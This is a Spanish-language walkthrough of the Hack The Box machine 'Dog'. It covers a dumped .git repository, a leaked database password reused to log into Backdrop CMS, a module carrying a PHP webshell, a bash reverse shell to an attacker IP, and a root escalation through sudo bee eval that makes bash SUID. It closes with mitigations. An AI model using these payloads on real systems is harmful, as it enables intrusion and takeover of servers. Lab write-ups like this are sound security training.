HTB - Dog
Dog es una máquina Linux de dificultad Easy que gira en torno a un
Backdrop CMS. Un directorio .git expuesto filtra el código fuente y una
contraseña de base de datos; con ella accedemos al panel de administración,
conseguimos ejecución remota de comandos subiendo un módulo malicioso y
escalamos a root reutilizando la contraseña y abusando de sudo bee.
Ficha de la máquina
| Campo | Valor |
|---|---|
| Nombre | Dog |
| SO | Linux |
| Dificultad | Easy |
| IP | 10.10.11.58 |
| Foothold | .git expuesto → creds → módulo malicioso en Backdrop CMS |
| Privesc | Reutilización de contraseña + sudo bee eval |
| Técnicas clave | git-dumper, Backdrop CMS, RCE por módulo, password reuse |
IPs, credenciales y flags son de ejemplo / a modo de referencia. No se publican flags reales.
Reconocimiento
Escaneo inicial de puertos:
1
nmap -sC -sV -p- --min-rate 5000 -oN nmap/dog.txt 10.10.11.58
1
2
3
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41
La web es un Backdrop CMS. Lo más interesante es que el servidor expone el
directorio .git:
1
2
curl -s http://10.10.11.58/.git/HEAD
# ref: refs/heads/master
Un
.gitaccesible desde la web permite reconstruir todo el código fuente del sitio, incluidos ficheros de configuración con secretos.
Cadena de ataque
flowchart LR
A[nmap<br/>80/tcp Backdrop CMS] --> B[.git expuesto]
B --> C[git-dumper<br/>código fuente]
C --> D[settings.php<br/>contraseña BD]
D --> E[Login admin<br/>tiffany@dog.htb]
E --> F[Módulo malicioso<br/>RCE www-data]
F --> G[Password reuse<br/>usuario johncusack]
G --> H[sudo bee eval<br/>root]
Foothold
1. Volcado del repositorio Git
Usamos git-dumper para descargar el repositorio completo:
1
2
git-dumper http://10.10.11.58/.git/ dog_src
cd dog_src
Entre los archivos aparece settings.php, con las credenciales de la base de
datos de Backdrop:
1
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
Además, revisando el repo (por ejemplo con grep -r sobre correos) encontramos
un usuario válido del CMS: tiffany@dog.htb.
1
grep -rEo '[a-zA-Z0-9._-]+@dog\.htb' dog_src | sort -u
2. Acceso al panel de Backdrop
Probamos esa contraseña reutilizada en el login del CMS
(/user/login) con el correo encontrado:
- Usuario:
tiffany@dog.htb - Contraseña:
BackDropJ2024DS2024
Entramos como administrador.
3. RCE mediante módulo malicioso
Backdrop permite instalar módulos subiendo un archivo comprimido desde Functionality → Install new module. Creamos un módulo mínimo con una webshell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mkdir shell
cat > shell/shell.info <<'EOF'
type = module
name = shell
description = shell
version = 1.0
backdrop = 1.x
EOF
cat > shell/shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
tar -czf shell.tar.gz shell
Lo subimos como módulo. Una vez instalado, la webshell queda accesible bajo el directorio de módulos:
1
2
curl "http://10.10.11.58/modules/shell/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)
Lanzamos una reverse shell y estabilizamos:
1
2
3
4
5
# En el atacante
nc -lvnp 4444
# Vía la webshell (URL-encoded)
curl "http://10.10.11.58/modules/shell/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.14.5/4444%200>%261'"
Escalada de privilegios
Reutilización de contraseña
En /home existe el usuario johncusack. La contraseña de la base de datos
está reutilizada para su cuenta del sistema:
1
2
su johncusack
# Password: BackDropJ2024DS2024
Con ella también podemos entrar por SSH y leer la flag de usuario.
sudo bee → root
Revisamos los permisos de sudo:
1
sudo -l
1
2
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
bee es la utilidad de línea de comandos de Backdrop (equivalente a Drush).
Dispone de un comando eval que ejecuta PHP arbitrario; al correr como root,
esto es ejecución de comandos como root:
1
2
sudo /usr/local/bin/bee --root=/var/www/html eval 'system("id");'
# uid=0(root) gid=0(root)
A partir de aquí, cualquier acción como root. Por ejemplo, otorgar SUID a bash:
1
2
sudo /usr/local/bin/bee --root=/var/www/html eval 'system("chmod +s /bin/bash");'
/bin/bash -p
evalen herramientas administrativas (bee, drush, wp-cli…) permitido víasudoes equivalente a dar una shell de root. Nunca conceder estos binarios ensudoerssin restricciones.
Spoiler — dónde están las flags
La flag de usuario está en el home dejohncusack
(/home/johncusack/user.txt) y la de root en
/root/root.txt. No se incluyen aquí sus valores.
Mitigación
- No exponer el directorio
.giten producción (bloquearlo en el servidor web o desplegar sin control de versiones). - No reutilizar contraseñas entre servicios, base de datos y cuentas del sistema.
- Restringir la subida de módulos/plugins a fuentes confiables en el CMS.
- No conceder binarios con
eval/ejecución arbitraria víasudosin argumentos acotados.
